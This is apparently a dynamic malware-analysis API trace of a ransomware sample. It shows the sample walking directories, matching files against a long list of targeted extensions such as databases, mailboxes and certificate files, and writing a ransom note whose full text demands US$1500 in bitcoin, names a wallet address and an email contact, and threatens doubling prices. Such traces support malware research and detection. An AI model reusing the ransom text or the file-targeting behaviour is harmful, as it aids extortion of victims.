returned 5 [0104.111] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\naphlpr\\3905ee11acabb6d202a69b8bfa3c91a0\\naphlpr.ni.dll", pszSpec="*.aiff") returned 0 [0104.111] lstrlenA (lpString="*.aiff") returned 6 [0104.111] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\naphlpr\\3905ee11acabb6d202a69b8bfa3c91a0\\naphlpr.ni.dll", pszSpec="*.flac") returned 0 [0104.111] lstrlenA (lpString="*.flac") returned 6 [0104.111] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\naphlpr\\3905ee11acabb6d202a69b8bfa3c91a0\\naphlpr.ni.dll", pszSpec="*.m4a") returned 0 [0104.111] lstrlenA (lpString="*.m4a") returned 5 [0104.111] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\naphlpr\\3905ee11acabb6d202a69b8bfa3c91a0\\naphlpr.ni.dll", pszSpec="*.csv") returned 0 [0104.114] lstrlenA (lpString="*.csv") returned 5 [0104.114] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5bb6297e, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5bb6297e, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5bb6297e, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x1be00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="naphlpr.ni.dll", cAlternateFileName="NAPHLP~1.DLL")) returned 0 [0104.114] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0104.114] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5bbaec3f, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5bbaec3f, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5bbaec3f, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="3905ee11acabb6d202a69b8bfa3c91a0", cAlternateFileName="3905EE~1")) returned 0 [0104.114] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0104.114] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6f976788, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6f976788, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6f976788, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x61006e, dwReserved1=0x680070, cFileName="napinit", cAlternateFileName="")) returned 1 [0104.114] lstrcmpA (lpString1=".", lpString2="napinit") returned -1 [0104.114] lstrcmpA (lpString1="..", lpString2="napinit") returned -1 [0104.114] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\*.*") returned="*.*" [0104.114] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\", lpString2="napinit" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napinit") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napinit" [0104.114] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napinit") returned 54 [0104.114] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napinit\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6f976788, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6f976788, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6f976788, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0104.171] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0104.171] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6f976788, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6f976788, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6f976788, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0104.171] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0104.172] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0104.172] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6f976788, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6f976788, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6f976788, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="6a657f2f518f97b282702fce20033459", cAlternateFileName="6A657F~1")) returned 1 [0104.172] lstrcmpA (lpString1=".", lpString2="6a657f2f518f97b282702fce20033459") returned -1 [0104.172] lstrcmpA (lpString1="..", lpString2="6a657f2f518f97b282702fce20033459") returned -1 [0104.172] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napinit\\*.*") returned="*.*" [0104.172] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napinit\\", lpString2="6a657f2f518f97b282702fce20033459" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napinit\\6a657f2f518f97b282702fce20033459") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napinit\\6a657f2f518f97b282702fce20033459" [0104.172] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napinit\\6a657f2f518f97b282702fce20033459") returned 87 [0104.172] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napinit\\6a657f2f518f97b282702fce20033459\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6f976788, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6f976788, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6f976788, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0104.172] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0104.172] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6f976788, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6f976788, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6f976788, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0104.172] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0104.172] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0104.173] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f92a4c8, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6f92a4c8, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6f950628, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x1cc00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="napinit.ni.dll", cAlternateFileName="NAPINI~1.DLL")) returned 1 [0104.173] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0104.173] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="napinit.ni.dll") returned -1 [0104.173] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="napinit.ni.dll") returned -1 [0104.173] lstrcmpiA (lpString1="", lpString2="napinit.ni.dll") returned -1 [0104.173] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napinit\\6a657f2f518f97b282702fce20033459\\*.*") returned="*.*" [0104.173] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napinit\\6a657f2f518f97b282702fce20033459\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napinit\\6a657f2f518f97b282702fce20033459\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napinit\\6a657f2f518f97b282702fce20033459\\" [0104.173] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napinit\\6a657f2f518f97b282702fce20033459\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napinit\\6a657f2f518f97b282702fce20033459\\") returned="" [0104.173] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napinit\\6a657f2f518f97b282702fce20033459\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napinit\\6a657f2f518f97b282702fce20033459\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napinit\\6a657f2f518f97b282702fce20033459\\HOW TO DECRYPT FILES.txt" [0104.173] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napinit\\6a657f2f518f97b282702fce20033459\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\napinit\\6a657f2f518f97b282702fce20033459\\how to decrypt files.txt")) returned 0xffffffff [0104.173] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napinit\\6a657f2f518f97b282702fce20033459\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\napinit\\6a657f2f518f97b282702fce20033459\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0104.175] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0104.175] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0104.177] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0104.177] CloseHandle (hObject=0x90) returned 1 [0104.177] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napinit\\6a657f2f518f97b282702fce20033459\\", lpString2="napinit.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napinit\\6a657f2f518f97b282702fce20033459\\napinit.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napinit\\6a657f2f518f97b282702fce20033459\\napinit.ni.dll" [0104.177] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napinit\\6a657f2f518f97b282702fce20033459\\napinit.ni.dll", pszSpec="*.ems") returned 0 [0104.177] lstrlenA (lpString="*.ems") returned 5 [0104.177] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napinit\\6a657f2f518f97b282702fce20033459\\napinit.ni.dll", pszSpec="*.db") returned 0 [0104.177] lstrlenA (lpString="*.db") returned 4 [0104.177] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napinit\\6a657f2f518f97b282702fce20033459\\napinit.ni.dll", pszSpec="*.dbf") returned 0 [0104.177] lstrlenA (lpString="*.dbf") returned 5 [0104.177] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napinit\\6a657f2f518f97b282702fce20033459\\napinit.ni.dll", pszSpec="*.myox") returned 0 [0104.177] lstrlenA (lpString="*.myox") returned 6 [0104.177] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napinit\\6a657f2f518f97b282702fce20033459\\napinit.ni.dll", pszSpec="*.myo") returned 0 [0104.177] lstrlenA (lpString="*.myo") returned 5 [0104.178] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napinit\\6a657f2f518f97b282702fce20033459\\napinit.ni.dll", pszSpec="*.qbw") returned 0 [0104.178] lstrlenA (lpString="*.qbw") returned 5 [0104.178] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napinit\\6a657f2f518f97b282702fce20033459\\napinit.ni.dll", pszSpec="*.qbb") returned 0 [0104.178] lstrlenA (lpString="*.qbb") returned 5 [0104.178] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napinit\\6a657f2f518f97b282702fce20033459\\napinit.ni.dll", pszSpec="*.qbm") returned 0 [0104.178] lstrlenA (lpString="*.qbm") returned 5 [0104.178] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napinit\\6a657f2f518f97b282702fce20033459\\napinit.ni.dll", pszSpec="*.qbo") returned 0 [0104.178] lstrlenA (lpString="*.qbo") returned 5 [0104.178] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napinit\\6a657f2f518f97b282702fce20033459\\napinit.ni.dll", pszSpec="*.qbx") returned 0 [0104.178] lstrlenA (lpString="*.qbx") returned 5 [0104.178] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napinit\\6a657f2f518f97b282702fce20033459\\napinit.ni.dll", pszSpec="*.qba") returned 0 [0104.178] lstrlenA (lpString="*.qba") returned 5 [0104.178] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napinit\\6a657f2f518f97b282702fce20033459\\napinit.ni.dll", pszSpec="*.qby") returned 0 [0104.178] lstrlenA (lpString="*.qby") returned 5 [0104.178] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napinit\\6a657f2f518f97b282702fce20033459\\napinit.ni.dll", pszSpec="*.qbj") returned 0 [0104.178] lstrlenA (lpString="*.qbj") returned 5 [0104.178] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napinit\\6a657f2f518f97b282702fce20033459\\napinit.ni.dll", pszSpec="*.ofx") returned 0 [0104.178] lstrlenA (lpString="*.ofx") returned 5 [0104.178] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napinit\\6a657f2f518f97b282702fce20033459\\napinit.ni.dll", pszSpec="*.qif") returned 0 [0104.178] lstrlenA (lpString="*.qif") returned 5 [0104.179] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napinit\\6a657f2f518f97b282702fce20033459\\napinit.ni.dll", pszSpec="*.mye") returned 0 [0104.179] lstrlenA (lpString="*.mye") returned 5 [0104.179] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napinit\\6a657f2f518f97b282702fce20033459\\napinit.ni.dll", pszSpec="*.mbox") returned 0 [0104.179] lstrlenA (lpString="*.mbox") returned 6 [0104.179] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napinit\\6a657f2f518f97b282702fce20033459\\napinit.ni.dll", pszSpec="*.eml") returned 0 [0104.179] lstrlenA (lpString="*.eml") returned 5 [0104.179] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napinit\\6a657f2f518f97b282702fce20033459\\napinit.ni.dll", pszSpec="*.pst") returned 0 [0104.179] lstrlenA (lpString="*.pst") returned 5 [0104.179] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napinit\\6a657f2f518f97b282702fce20033459\\napinit.ni.dll", pszSpec="*.ost") returned 0 [0104.179] lstrlenA (lpString="*.ost") returned 5 [0104.179] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napinit\\6a657f2f518f97b282702fce20033459\\napinit.ni.dll", pszSpec="*.idx") returned 0 [0104.179] lstrlenA (lpString="*.idx") returned 5 [0104.179] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napinit\\6a657f2f518f97b282702fce20033459\\napinit.ni.dll", pszSpec="*.dbx") returned 0 [0104.179] lstrlenA (lpString="*.dbx") returned 5 [0104.179] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napinit\\6a657f2f518f97b282702fce20033459\\napinit.ni.dll", pszSpec="*.sql") returned 0 [0104.179] lstrlenA (lpString="*.sql") returned 5 [0104.179] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napinit\\6a657f2f518f97b282702fce20033459\\napinit.ni.dll", pszSpec="*.mdb") returned 0 [0104.179] lstrlenA (lpString="*.mdb") returned 5 [0104.179] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napinit\\6a657f2f518f97b282702fce20033459\\napinit.ni.dll", pszSpec="*.fdb") returned 0 [0104.180] lstrlenA (lpString="*.fdb") returned 5 [0104.180] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napinit\\6a657f2f518f97b282702fce20033459\\napinit.ni.dll", pszSpec="*.wab") returned 0 [0104.180] lstrlenA (lpString="*.wab") returned 5 [0104.180] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napinit\\6a657f2f518f97b282702fce20033459\\napinit.ni.dll", pszSpec="*.dat") returned 0 [0104.180] lstrlenA (lpString="*.dat") returned 5 [0104.180] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napinit\\6a657f2f518f97b282702fce20033459\\napinit.ni.dll", pszSpec="*.txt") returned 0 [0104.180] lstrlenA (lpString="*.txt") returned 5 [0104.180] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napinit\\6a657f2f518f97b282702fce20033459\\napinit.ni.dll", pszSpec="*.jpeg") returned 0 [0104.180] lstrlenA (lpString="*.jpeg") returned 6 [0104.180] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napinit\\6a657f2f518f97b282702fce20033459\\napinit.ni.dll", pszSpec="*.jpg") returned 0 [0104.180] lstrlenA (lpString="*.jpg") returned 5 [0104.180] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napinit\\6a657f2f518f97b282702fce20033459\\napinit.ni.dll", pszSpec="*.png") returned 0 [0104.180] lstrlenA (lpString="*.png") returned 5 [0104.180] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napinit\\6a657f2f518f97b282702fce20033459\\napinit.ni.dll", pszSpec="*.php") returned 0 [0104.180] lstrlenA (lpString="*.php") returned 5 [0104.180] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napinit\\6a657f2f518f97b282702fce20033459\\napinit.ni.dll", pszSpec="*.cs") returned 0 [0104.180] lstrlenA (lpString="*.cs") returned 4 [0104.180] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napinit\\6a657f2f518f97b282702fce20033459\\napinit.ni.dll", pszSpec="*.cpp") returned 0 [0104.180] lstrlenA (lpString="*.cpp") returned 5 [0104.180] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napinit\\6a657f2f518f97b282702fce20033459\\napinit.ni.dll", pszSpec="*.rar") returned 0 [0104.180] lstrlenA (lpString="*.rar") returned 5 [0104.180] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napinit\\6a657f2f518f97b282702fce20033459\\napinit.ni.dll", pszSpec="*.zip") returned 0 [0104.181] lstrlenA (lpString="*.zip") returned 5 [0104.181] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napinit\\6a657f2f518f97b282702fce20033459\\napinit.ni.dll", pszSpec="*.html") returned 0 [0104.181] lstrlenA (lpString="*.html") returned 6 [0104.181] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napinit\\6a657f2f518f97b282702fce20033459\\napinit.ni.dll", pszSpec="*.htm") returned 0 [0104.181] lstrlenA (lpString="*.htm") returned 5 [0104.181] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napinit\\6a657f2f518f97b282702fce20033459\\napinit.ni.dll", pszSpec="*.xlsx") returned 0 [0104.181] lstrlenA (lpString="*.xlsx") returned 6 [0104.181] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napinit\\6a657f2f518f97b282702fce20033459\\napinit.ni.dll", pszSpec="*.xls") returned 0 [0104.181] lstrlenA (lpString="*.xls") returned 5 [0104.181] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napinit\\6a657f2f518f97b282702fce20033459\\napinit.ni.dll", pszSpec="*.mp4") returned 0 [0104.181] lstrlenA (lpString="*.mp4") returned 5 [0104.181] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napinit\\6a657f2f518f97b282702fce20033459\\napinit.ni.dll", pszSpec="*.ppt") returned 0 [0104.181] lstrlenA (lpString="*.ppt") returned 5 [0104.181] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napinit\\6a657f2f518f97b282702fce20033459\\napinit.ni.dll", pszSpec="*.pptx") returned 0 [0104.181] lstrlenA (lpString="*.pptx") returned 6 [0104.181] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napinit\\6a657f2f518f97b282702fce20033459\\napinit.ni.dll", pszSpec="*.doc") returned 0 [0104.181] lstrlenA (lpString="*.doc") returned 5 [0104.181] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napinit\\6a657f2f518f97b282702fce20033459\\napinit.ni.dll", pszSpec="*.dot") returned 0 [0104.182] lstrlenA (lpString="*.dot") returned 5 [0104.182] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napinit\\6a657f2f518f97b282702fce20033459\\napinit.ni.dll", pszSpec="*.docx") returned 0 [0104.182] lstrlenA (lpString="*.docx") returned 6 [0104.182] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napinit\\6a657f2f518f97b282702fce20033459\\napinit.ni.dll", pszSpec="*.7z") returned 0 [0104.182] lstrlenA (lpString="*.7z") returned 4 [0104.182] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napinit\\6a657f2f518f97b282702fce20033459\\napinit.ni.dll", pszSpec="*.tar") returned 0 [0104.182] lstrlenA (lpString="*.tar") returned 5 [0104.182] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napinit\\6a657f2f518f97b282702fce20033459\\napinit.ni.dll", pszSpec="*.bz2") returned 0 [0104.182] lstrlenA (lpString="*.bz2") returned 5 [0104.182] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napinit\\6a657f2f518f97b282702fce20033459\\napinit.ni.dll", pszSpec="*.gz") returned 0 [0104.182] lstrlenA (lpString="*.gz") returned 4 [0104.182] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napinit\\6a657f2f518f97b282702fce20033459\\napinit.ni.dll", pszSpec="*.mkv") returned 0 [0104.182] lstrlenA (lpString="*.mkv") returned 5 [0104.182] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napinit\\6a657f2f518f97b282702fce20033459\\napinit.ni.dll", pszSpec="*.eml") returned 0 [0104.182] lstrlenA (lpString="*.eml") returned 5 [0104.182] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napinit\\6a657f2f518f97b282702fce20033459\\napinit.ni.dll", pszSpec="*.msg") returned 0 [0104.182] lstrlenA (lpString="*.msg") returned 5 [0104.182] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napinit\\6a657f2f518f97b282702fce20033459\\napinit.ni.dll", pszSpec="*.edb") returned 0 [0104.182] lstrlenA (lpString="*.edb") returned 5 [0104.182] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napinit\\6a657f2f518f97b282702fce20033459\\napinit.ni.dll", pszSpec="*.accdb") returned 0 [0104.183] lstrlenA (lpString="*.accdb") returned 7 [0104.183] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napinit\\6a657f2f518f97b282702fce20033459\\napinit.ni.dll", pszSpec="*.odb") returned 0 [0104.183] lstrlenA (lpString="*.odb") returned 5 [0104.183] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napinit\\6a657f2f518f97b282702fce20033459\\napinit.ni.dll", pszSpec="*.java") returned 0 [0104.183] lstrlenA (lpString="*.java") returned 6 [0104.183] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napinit\\6a657f2f518f97b282702fce20033459\\napinit.ni.dll", pszSpec="*.asm") returned 0 [0104.183] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napinit\\6a657f2f518f97b282702fce20033459\\napinit.ni.dll", pszSpec="*.pfx") returned 0 [0104.183] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napinit\\6a657f2f518f97b282702fce20033459\\napinit.ni.dll", pszSpec="*.pem") returned 0 [0104.183] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napinit\\6a657f2f518f97b282702fce20033459\\napinit.ni.dll", pszSpec="*.p12") returned 0 [0104.184] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napinit\\6a657f2f518f97b282702fce20033459\\napinit.ni.dll", pszSpec="*.gpg") returned 0 [0104.184] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napinit\\6a657f2f518f97b282702fce20033459\\napinit.ni.dll", pszSpec="*.vsd") returned 0 [0104.184] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napinit\\6a657f2f518f97b282702fce20033459\\napinit.ni.dll", pszSpec="*.odg") returned 0 [0104.184] PathMatchSpecA 